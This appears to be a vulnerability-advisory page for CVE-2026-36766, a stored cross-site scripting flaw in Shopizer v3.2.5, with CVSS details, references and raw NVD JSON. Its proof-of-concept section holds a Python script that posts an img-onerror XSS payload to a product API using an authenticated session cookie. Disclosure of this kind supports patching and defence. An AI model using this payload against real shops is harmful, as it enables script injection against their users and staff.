CVE-2026-36766

Description

Multiple authenticated cross-site scripting (XSS) vulnerabilities in the XssHttpServletRequestWrapper class of shopizer v3.2.5 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the getInputStream() or getReader() functions.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Shopizer v3.2.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Example)
target = "http://vulnerable-shopizer.com/api/product"
# Authenticated cookie
cookies = {'JSESSIONID': 'valid_session_id'}

# Malicious Payload sent via JSON body (read by getInputStream/getReader)
payload_json = {
    "name": "Product Name",
    "description": "<img src=x onerror=alert('CVE-2026-36766')>"
}

# Send POST request
response = requests.post(target, json=payload_json, cookies=cookies)

if response.status_code == 200:
    print("[+] Payload injected successfully via InputStream.")
else:
    print("[-] Failed to inject payload.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-36766
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-36766
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-36766/
[4] VulDB https://vuldb.com/cve/CVE-2026-36766
[5] https://github.com/shopizer-ecommerce/shopizer
[6] https://github.com/shopizer-ecommerce/shopizer/issues/1093
[7] https://github.com/shopizer-ecommerce/shopizer/issues/1093

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-36766", "sourceIdentifier": "[email protected]", "published": "2026-04-30T18:16:29.830", "lastModified": "2026-04-30T19:16:09.377", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Multiple authenticated cross-site scripting (XSS) vulnerabilities in the XssHttpServletRequestWrapper class of shopizer v3.2.5 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the getInputStream() or getReader() functions."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/shopizer-ecommerce/shopizer", "source": "[email protected]"}, {"url": "https://github.com/shopizer-ecommerce/shopizer/issues/1093", "source": "[email protected]"}, {"url": "https://github.com/shopizer-ecommerce/shopizer/issues/1093", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}